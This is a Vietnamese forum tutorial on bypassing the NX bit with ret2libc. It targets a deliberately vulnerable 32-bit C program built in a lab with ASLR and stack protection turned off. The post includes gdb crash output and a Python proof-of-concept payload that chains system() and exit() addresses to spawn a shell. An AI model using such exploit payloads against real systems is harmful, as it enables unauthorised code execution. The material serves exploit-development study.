Pentest & Offsec [Buffer Overflow] Bài 2: Kỹ thuật bypass No eXecute (NX)

7heknight

Super Moderator
Thành viên BQT

1. No eXecute là gì?

  • NX bit (no-execute) là một công nghệ được sử dụng trong các CPU để phân chia các khu vực bộ nhớ, dùng để lưu trữ các lệnh của bộ xử lý (mã lệnh) hoặc lưu trữ dữ liệu. Đây là một tính năng thường chỉ có ở các bộ xử lý có kiến trúc Harvard. Tuy nhiên, NX bit đang ngày càng được sử dụng nhiều hơn trong các bộ xử lý có kiến trúc von Neumannthông thường vì lý do bảo mật.
  • Return to library C (ret2libc) và return to system (ret2sys) là các kỹ thuật thường được sử dụng để qua mặt No Execution bit, và đây là những kỹ thuật tôi sẽ sử dụng trong báo cáo này.

2. NX Bypass

2.1. Xây dựng môi trường

Đây là mã nguồn chúng ta sẽ dùng làm ví dụ khai thác:

C:
#include <unistd.h>

int overflow(){
  char buf[500];
  int userinput;
  userinput = read(0, buf, 700);
  printf("\nUser provided %d bytes.\nBuffer content is: %s\n", userinput, buf);
  return 0;
}

int main(){
  overflow();
  return 0;
}

Build mã nguồn:

Bash:
gcc vulnerable.c -m32 -fno-stack-protector -o vulnerable

Chắc chắn rằng ASLR đã tắt, để tắt nó chúng ta chạy lệnh sau:

Bash:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Sử dụng checksec để đảm bảo rằng chỉ có Stack Canary bị vô hiệu hóa.

1755056130473.png


2.2. Phân tích và đánh giá ứng dụng

Trước hết, tôi biết chương trình có kích thước bộ đệm (buffer) là 500, vậy hãy thử làm nó bị lỗi (crash) với bộ đệm 500.

Bash:
python -c 'print("A"*700)' | ./vulnerable

1755056707771.png


Không có gì xảy ra, vậy hãy thử một kích thước lớn hơn để xem độ dài có gây lỗi không.

1755056742994.png


Để mở trình gỡ lỗi và kiểm tra chương trình, tôi sẽ sử dụng gdb-peda. Với gdb-peda, tôi có thể dùng tính năng tạo chuỗi mẫu (pattern) để tìm ra chính xác kích thước bộ đệm gây lỗi chương trình. (Bạn cũng có thể sử dụng các công cụ khác như msf-pattern_createmsf-pattern_offset).

1755056780190.png

2.3. Lấy và kiểm soát địa chỉ trả về

Tạo một chuỗi để xác định vị trí bắt đầu của bộ đệm bằng ký tự 'A'.

Bash:
python -c "print('A'*516+'B'*4)" > input.txt

1755057465525.png


1755057476375.png


Sau khi trace, chúng ta tìm được địa chỉ 0xffffd088. Địa chỉ này sẽ địa chỉ retun, vậy nên chúng ta sẽ. viết 1 đoạn script tạo buffer và kèm theo 4 byte của returned address mà chúng ta đã lấy được.

Python:
#!/usr/bin/python2
from struct import pack

payload = ''
payload += 'A'*516
payload += pack('<I', 0xffffd088) # Start of A character

print payload
open('input.txt', 'wb').write(payload)

Chạy tập tin trong gdb và xác định xem chương trình có bị lỗi tại 0x41414141 hay không.

Bash:
gdb-peda$ r < input.txt
Starting program: vulnerable < input.txt

User provided 520 bytes.
Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x1
ESI: 0xf7fa6000 --> 0x1e4d6c
EDI: 0xf7fa6000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd290 --> 0xf7fa6000 --> 0x1e4d6c
EIP: 0xffffd088 ('A' <repeats 200 times>...)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xffffd088:  inc    ecx
   0xffffd089:  inc    ecx
   0xffffd08a:  inc    ecx
   0xffffd08b:  inc    ecx
[------------------------------------stack-------------------------------------]
0000| 0xffffd290 --> 0xf7fa6000 --> 0x1e4d6c
0004| 0xffffd294 --> 0xf7fa6000 --> 0x1e4d6c
0008| 0xffffd298 --> 0x0
0012| 0xffffd29c --> 0xf7ddfe46 (<__libc_start_main+262>:       add    esp,0x10)
0016| 0xffffd2a0 --> 0x1
0020| 0xffffd2a4 --> 0xffffd344 --> 0xffffd4b8 ("/home/th3knight/Desktop/learning/shellcoding/ine/DEP/vulnerable")
0024| 0xffffd2a8 --> 0xffffd34c --> 0xffffd4f8 ("SHELL=/bin/bash")
0028| 0xffffd2ac --> 0xffffd2d4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffd088 in ?? ()

The program crashed with 0xffffd088 with no reason. This is because of NX bit is enabled so this will kill when user tried to execute from their inputted data. Re run the debugger, breakpoint at main br *main, and run.

Theo chương 1, lẽ ra chương trình sẽ bị crashed với 0x41414141(AAAA), nhưng ở đây chương trình đã bị crashed ở địa chỉ 0xffffd088. Đây là bởi vì NX bit đã được bật để bảo vệ hệ thống, thế nên nó đã chặn những gì người dùng cố gắng kiểm soát dữ liệu truyền vào. Chạy lại GDB debugger và đặt breakpoint ở hàm main bằng lệnh br *main, sau khi đặt xong, chúng ta chạy chương trình bằng lệnh run
Thường để bypass kỹ thuật No eXecute (NX), chúng ta có kỹ thuật gọi là ret2libc (Return to Library C). Để có thể sử dụng, chúng ta sẽ lấy địa chỉ của các hàm của thư viện C, vì các thư viện này được sử dụng từ hệ điều hành nên sẽ luôn sẵn sàng cho mình gọi đến. Để sử dụng chúng ta build script để exploit program này theo cấu trúc sau:
  • Buffer_size + Execution_function_address + Return_address + Arguments_address
Ở đây tôi sẽ lấy địa chỉ của hàm system() để gọi lệnh và thực thi command và dùng hàm exit() để thoát chương trình 1 cách hợp lệ theo flow của OS. Để lấy, tôi sử dụng print trong GDB để print các địa chỉ ấy:
Bash:
print system
print exit

1755068980543.png


2.4 Proof of Concept (PoC)

Dưới đây là script PoC để exploit của tôi:

Python:
#!/usr/bin/python2

from struct import pack

payload = ''
payload += 'A'*516
payload += pack('<I', 0xf7e06000) # System_func address @@ exec_function
payload += pack('<I', 0xf7df8950) # Exit_func address @@ ret_func
payload += pack('<I', 0xf7f4d338) # Arguments address

print payload

1755069053837.png


Tuy nhiên, sau khi executed xong, chương trình không bị trả về segmentation fault nữa mà exit một cách bình thường. Bởi vì khi thực thi, không có session nào để handle stdin và stdout nên chương trình thực thi xong sẽ tự kết thúc. Để dùng handling stdin, stdout chúng ta có thể dùng cat để handle nó bằng lệnh sau:
  • (./exploit.py ; cat) | ./vulnerable

1755069621974.png


3. Nguồn tham khảo:

- https://en.wikipedia.org/wiki/NX_bit
- https://www.howtogeek.com/435903/what-are-stdin-stdout-and-stderr-on-linux/
- https://www.tutorialspoint.com/c_standard_library/c_function_exit.htm
- https://www.tutorialspoint.com/c_standard_library/c_function_system.htm
- https://github.com/7heKnight/7heknight.pwn/tree/main/INE/Linux Exploit Development/Data Execution Prevention (DEP)/No_eXecute-bypassing
 
Bài viết thật bổ ích. Mong tác giả sớm ra nhiều bài như vậy hơn để mình có thể học về offsec. Mong anh ra những chương có thể giúp em có thêm kiến thức về các chứng chỉ Offsec.
 
Sửa lần cuối:
Back
Top